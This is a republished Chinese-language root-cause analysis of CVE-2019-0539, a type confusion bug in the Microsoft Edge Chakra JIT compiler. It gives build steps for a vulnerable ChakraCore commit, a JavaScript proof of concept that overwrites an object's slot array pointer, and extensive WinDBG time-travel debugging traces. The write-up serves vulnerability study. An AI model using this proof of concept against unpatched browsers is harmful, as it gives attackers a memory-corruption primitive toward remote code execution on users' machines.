Microsoft Edge Chakra JIT类型混淆漏洞分析(CVE-2019-0539)

栏目: 编程工具 · 发布时间: 5年前

内容简介:一、概述在二、创建漏洞环境

一、概述

2019年1月的微软月度更新 中,修复了CVE-2019-0539漏洞。该漏洞与另外2个漏洞均是由Google Project Zero的Lokihardt 发现并报告 。该漏洞可以在用户访问恶意网页时导致远程代码执行。正如Lokihardt所描述的,当Chakra JIT(Just-in-time)JavaScript编译器生成的代码执行对象的类型转换,并且错误的假设后续对该对象不存在副作用时,会发生这种类型的混淆问题。Chakra开发团队的Abhijith Chatra在其博客中描述,动态类型对象具有一个属性映射(Property Map)和一个插槽数组(Slot Array)。其中,属性映射用于获得插槽数组中对象属性的索引,插槽数组用于存储属性的实际数据。而CVE-2019-0539这一漏洞将导致JIT代码混淆内存中的对象,这将会导致插槽数组指针被任意数据覆盖。

二、创建漏洞环境

在Windows中,创建存在漏洞版本的 ChakraCore

(在Visual Studio MSBuild命令提示符中)

c:\code>git clone https://github.com/Microsoft/ChakraCore.git
c:\code>cd ChakraCore
c:\code\ChakraCore>git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5
c:\code\ChakraCore>msbuild /m /p:Platform=x64 /p:Configuration=Debug Build\Chakra.Core.sln

三、时间旅行调试(TTD)

在这里,我们使用“时间旅行调试”(Time Travel Debugging, TTD)工具。关于TTD,微软给出的描述如下:

Time Travel Debugging是一个能够记录用户正在运行进程的工具,将会记录进程的全部执行过程,并支持向前和向后的重放。时间旅行调试(TTD)可以让我们“回放”调试器会话,不必再重现问题,从而能帮助我们更加轻松地调试问题。

我们从Microsoft Store安装最新版本的WinDBG,需要以管理员权限运行。

Microsoft Edge Chakra JIT类型混淆漏洞分析(CVE-2019-0539)

四、根本原因分析

PoC:

function opt(o, c, value) {
    o.b = 1;
    class A extends c { // may transition the object
    }
    o.a = value; // overwrite slot array pointer
}
 
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }
 
    let o = {a: 1, b: 2};
    let cons = function () {};
 
    cons.prototype = o; // causes "class A extends c" to transition the object type
    opt(o, cons, 0x1234);
    print(o.a); // access the slot array pointer resulting in a crash
}
 
main();

使用 TTD运行调试器 ,直至其发生崩溃,然后执行以下命令:

0:005> !tt 0
Setting position to the beginning of the trace
Setting position: 14:0
(1e8c.4bc8): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 14:0
ntdll!LdrInitializeThunk:
00007fff`03625640 4053            push    rbx
0:000> g
ModLoad: 00007fff`007e0000 00007fff`0087e000   C:\Windows\System32\sechost.dll
ModLoad: 00007fff`00f40000 00007fff`00fe3000   C:\Windows\System32\advapi32.dll
ModLoad: 00007ffe`ffde0000 00007ffe`ffe00000   C:\Windows\System32\win32u.dll
ModLoad: 00007fff`00930000 00007fff`00ac7000   C:\Windows\System32\USER32.dll
ModLoad: 00007ffe`ff940000 00007ffe`ffada000   C:\Windows\System32\gdi32full.dll
ModLoad: 00007fff`02e10000 00007fff`02e39000   C:\Windows\System32\GDI32.dll
ModLoad: 00007fff`03420000 00007fff`03575000   C:\Windows\System32\ole32.dll
ModLoad: 00007ffe`ffdb0000 00007ffe`ffdd6000   C:\Windows\System32\bcrypt.dll
ModLoad: 00007ffe`e7c20000 00007ffe`e7e0d000   C:\Windows\SYSTEM32\dbghelp.dll
ModLoad: 00007ffe`e7bf0000 00007ffe`e7c1a000   C:\Windows\SYSTEM32\dbgcore.DLL
ModLoad: 00007ffe`9bf10000 00007ffe`9dd05000   c:\pp\ChakraCore\Build\VcBuild\bin\x64_debug\chakracore.dll
ModLoad: 00007fff`011c0000 00007fff`011ee000   C:\Windows\System32\IMM32.DLL
ModLoad: 00007ffe`ff5b0000 00007ffe`ff5c1000   C:\Windows\System32\kernel.appcore.dll
ModLoad: 00007ffe`f0f80000 00007ffe`f0fdc000   C:\Windows\SYSTEM32\Bcp47Langs.dll
ModLoad: 00007ffe`f0f50000 00007ffe`f0f7a000   C:\Windows\SYSTEM32\bcp47mrm.dll
ModLoad: 00007ffe`f0fe0000 00007ffe`f115b000   C:\Windows\SYSTEM32\windows.globalization.dll
ModLoad: 00007ffe`ff010000 00007ffe`ff01c000   C:\Windows\SYSTEM32\CRYPTBASE.DLL
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 90063:0
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1        mov     rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????
0:004> ub
chakracore!Js::DynamicTypeHandler::GetSlot+0x12d [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 96]:
00007ffe`9cd1ec5d 488b442450      mov     rax,qword ptr [rsp+50h]
00007ffe`9cd1ec62 0fb74012        movzx   eax,word ptr [rax+12h]
00007ffe`9cd1ec66 8b4c2460        mov     ecx,dword ptr [rsp+60h]
00007ffe`9cd1ec6a 2bc8            sub     ecx,eax
00007ffe`9cd1ec6c 8bc1            mov     eax,ecx
00007ffe`9cd1ec6e 4898            cdqe
00007ffe`9cd1ec70 488b4c2458      mov     rcx,qword ptr [rsp+58h] // object pointer
00007ffe`9cd1ec75 488b4910        mov     rcx,qword ptr [rcx+10h] // slot array pointer
0:004> ba w 8 poi(@rsp+58)+10
0:004> g-
Breakpoint 1 hit
Time Travel Position: 9001D:178A
00000195`cc9c0159 488bc7          mov     rax,rdi

下面是最终覆盖指向插槽数组(Slot Array)指针的JIT代码。在这里,注意对chakracore!Js::JavascriptOperators::OP_InitClass的调用。正如Lokihardt所解释的那样,这个函数最终将调用SetIsPrototype,它将负责转换对象类型。

0:004> ub @rip L20
00000195`cc9c00c6 ef              out     dx,eax
00000195`cc9c00c7 0000            add     byte ptr [rax],al
00000195`cc9c00c9 004c0f45        add     byte ptr [rdi+rcx+45h],cl
00000195`cc9c00cd f249895e18      repne mov qword ptr [r14+18h],rbx
00000195`cc9c00d2 4c8bc7          mov     r8,rdi
00000195`cc9c00d5 498bcf          mov     rcx,r15
00000195`cc9c00d8 48baf85139ca95010000 mov rdx,195CA3951F8h
00000195`cc9c00e2 48b8d040a39cfe7f0000 mov rax,offset chakracore!Js::ScriptFunction::OP_NewScFuncHomeObj (00007ffe`9ca340d0)
00000195`cc9c00ec 48ffd0          call    rax
00000195`cc9c00ef 488bd8          mov     rbx,rax
00000195`cc9c00f2 498bd5          mov     rdx,r13
00000195`cc9c00f5 488bcb          mov     rcx,rbx
00000195`cc9c00f8 c60601          mov     byte ptr [rsi],1
00000195`cc9c00fb 49b83058e8c995010000 mov r8,195C9E85830h
00000195`cc9c0105 48b88041679cfe7f0000 mov rax,offset chakracore!Js::JavascriptOperators::OP_InitClass (00007ffe`9c674180) // transitions the type of the object
00000195`cc9c010f 48ffd0          call    rax
00000195`cc9c0112 803e01          cmp     byte ptr [rsi],1
00000195`cc9c0115 0f85dc000000    jne     00000195`cc9c01f7
00000195`cc9c011b 488bc3          mov     rax,rbx
00000195`cc9c011e 48c1e830        shr     rax,30h
00000195`cc9c0122 0f85eb000000    jne     00000195`cc9c0213
00000195`cc9c0128 4c8b6b08        mov     r13,qword ptr [rbx+8]
00000195`cc9c012c 498bc5          mov     rax,r13
00000195`cc9c012f 48c1e806        shr     rax,6
00000195`cc9c0133 4883e007        and     rax,7
00000195`cc9c0137 48b9b866ebc995010000 mov rcx,195C9EB66B8h
00000195`cc9c0141 33d2            xor     edx,edx
00000195`cc9c0143 4c3b2cc1        cmp     r13,qword ptr [rcx+rax*8]
00000195`cc9c0147 0f85e2000000    jne     00000195`cc9c022f
00000195`cc9c014d 480f45da        cmovne  rbx,rdx
00000195`cc9c0151 488b4310        mov     rax,qword ptr [rbx+10h]
00000195`cc9c0155 4d896610        mov     qword ptr [r14+10h],r12 // trigger of CVE-2019-0539. Overridden slot array pointer

下面是JIT代码调用OP_InitClass之前的对象的内存转储。我们需要注意,两个对象插槽(Slot)是如何在对象的内存中内联的,在这里并不是存储在一个单独的插槽数组中。

Time Travel Position: 8FE48:C95
chakracore!Js::JavascriptOperators::OP_InitClass:
00007ffe`9c674180 4c89442418      mov     qword ptr [rsp+18h],r8 ss:00000086`971fd710=00000195ca395030
0:004> dps 00000195`cd274440
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`ca3c1d40
00000195`cd274450  00010000`00000001 // inline slot 1
00000195`cd274458  00010000`00000001 // inline slot 2
00000195`cd274460  00000195`cd274440
00000195`cd274468  00010000`00000000
00000195`cd274470  00000195`ca3b4030
00000195`cd274478  00000000`00000000
00000195`cd274480  00000195`cd073ed0
00000195`cd274488  00000000`00000000
00000195`cd274490  00000000`00000000
00000195`cd274498  00000000`00000000
00000195`cd2744a0  00000195`cd275c00
00000195`cd2744a8  00010000`00000000
00000195`cd2744b0  00000195`ca3dc100
00000195`cd2744b8  00000000`00000000

以下调用栈展示了SetIsPrototype最终由OP_InitClass调用,从而转换对象的类型。转换过程导致两个插槽(Slot)不再内联,而是存储在插槽数组中。随后,会通过其余的JIT代码忽略这一转换。

0:004> kb
 # RetAddr           : Args to Child                                                           : Call Site
00 00007ffe`9cd0dace : 00000195`cd274440 00000195`ca3a0000 00000195`00000004 00007ffe`9bf6548b : chakracore!Js::DynamicTypeHandler::AdjustSlots+0x79f [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 755]
01 00007ffe`9cd24181 : 00000195`cd274440 00000195`cd264f60 00000195`000000fb 00007ffe`9c200002 : chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining+0xae [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 591]
02 00007ffe`9cd2e393 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd35f00 : chakracore!Js::PathTypeHandlerBase::ConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x1b1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1622]
03 00007ffe`9cd40ac2 : 00000195`ca3da0f0 00000195`cd274440 00000000`00000002 00007ffe`9bf9fe00 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x43 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1598]
04 00007ffe`9cd3cf81 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd0c700 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType+0x32 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.h @ 297]
05 00007ffe`9cd10a9f : 00000195`ca3da0f0 00000195`cd274440 00000001`0000001c 00007ffe`9c20c563 : chakracore!Js::PathTypeHandlerBase::SetIsPrototype+0xe1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 2892]
06 00007ffe`9cd0b7a3 : 00000195`cd274440 00007ffe`9bfa722e 00000195`cd274440 00007ffe`9bfa70a3 : chakracore!Js::DynamicObject::SetIsPrototype+0x23f [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 680]
07 00007ffe`9cd14b08 : 00000195`cd274440 00007ffe`9c20d013 00000195`cd274440 00000195`00000119 : chakracore!Js::RecyclableObject::SetIsPrototype+0x43 [c:\pp\chakracore\lib\runtime\types\recyclableobject.cpp @ 190]
08 00007ffe`9c6743ea : 00000195`cd275c00 00000195`cd274440 0000018d`00000119 00000195`c9e85830 : chakracore!Js::DynamicObject::SetPrototype+0x18 [c:\pp\chakracore\lib\runtime\types\dynamictype.cpp @ 632]
09 00000195`cc9c0112 : 00000195`cd264f60 00000195`cd273eb0 00000195`c9e85830 00007ffe`9c20c9b3 : chakracore!Js::JavascriptOperators::OP_InitClass+0x26a [c:\pp\chakracore\lib\runtime\language\javascriptoperators.cpp @ 7532]
0a 00007ffe`9cbea0d2 : 00000195`ca3966e0 00000000`10000004 00000195`ca395030 00000195`cd274440 : 0x00000195`cc9c0112

下面是OP_InitClass调用后对象的内存转储。请注意,现在的对象已经经过转换,并且不再内联两个插槽。但是,如上所述,JIT代码仍然会假设该插槽是内联的。

Time Travel Position: 9001D:14FA
00000195`cc9c0112 803e01          cmp     byte ptr [rsi],1 ds:0000018d`c8e72018=01
0:004> dps 00000195`cd274440
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`cd275d40
00000195`cd274450  00000195`cd2744c0 // slot array pointer (previously inline slot 1)
00000195`cd274458  00000000`00000000
00000195`cd274460  00000195`cd274440
00000195`cd274468  00010000`00000000
00000195`cd274470  00000195`ca3b4030
00000195`cd274478  00000195`cd277000
00000195`cd274480  00000195`cd073ed0
00000195`cd274488  00000195`cd073f60
00000195`cd274490  00000195`cd073f90
00000195`cd274498  00000000`00000000
00000195`cd2744a0  00000195`cd275c00
00000195`cd2744a8  00010000`00000000
00000195`cd2744b0  00000195`ca3dc100
00000195`cd2744b8  00000000`00000000
0:004> dps 00000195`cd2744c0 // slot array
00000195`cd2744c0  00010000`00000001
00000195`cd2744c8  00010000`00000001
00000195`cd2744d0  00000000`00000000
00000195`cd2744d8  00000000`00000000
00000195`cd2744e0  00000119`00000000
00000195`cd2744e8  00000000`00000100
00000195`cd2744f0  00000195`cd074000
00000195`cd2744f8  00000000`00000000
00000195`cd274500  000000c4`00000000
00000195`cd274508  00000000`00000102
00000195`cd274510  00000195`cd074030
00000195`cd274518  00000000`00000000
00000195`cd274520  000000fb`00000000
00000195`cd274528  00000000`00000102
00000195`cd274530  00000195`cd074060
00000195`cd274538  00000000`00000000

下面是在JIT代码错误地分配属性值之后对象的内存转储,覆盖了插槽数组指针。

0:004> dqs 00000195cd274440
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`cd275d40
00000195`cd274450  00010000`00001234 // overridden slot array pointer (CVE-2019-0539)
00000195`cd274458  00000000`00000000
00000195`cd274460  00000195`cd274440
00000195`cd274468  00010000`00000000
00000195`cd274470  00000195`ca3b4030
00000195`cd274478  00000195`cd277000
00000195`cd274480  00000195`cd073ed0
00000195`cd274488  00000195`cd073f60
00000195`cd274490  00000195`cd073f90
00000195`cd274498  00000000`00000000
00000195`cd2744a0  00000195`cd275c00
00000195`cd2744a8  00010000`00000000
00000195`cd2744b0  00000195`ca3dc100
00000195`cd2744b8  00000000`00000000

最后,当访问其中一个对象的属性时,被覆盖的插槽数组指针将被解除引用,从而导致崩溃。

0:004> g
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1        mov     rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????

五、总结

由于我们使用了WinDBG的TTD,所以我们的整个调试过程都得到了简化。具体而言,TTD帮助我们设置了断点,并且能够逆向运行程序,最后直接导致实际的插槽数组指针覆盖。这一功能展示了CPU跟踪和执行过程重建的重要性,可以用于软件调试和逆向工程之中。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Everything Store

The Everything Store

Brad Stone / Little, Brown and Company / 2013-10-22 / USD 28.00

The definitive story of Amazon.com, one of the most successful companies in the world, and of its driven, brilliant founder, Jeff Bezos. Amazon.com started off delivering books through the mail. Bu......一起来看看 《The Everything Store》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具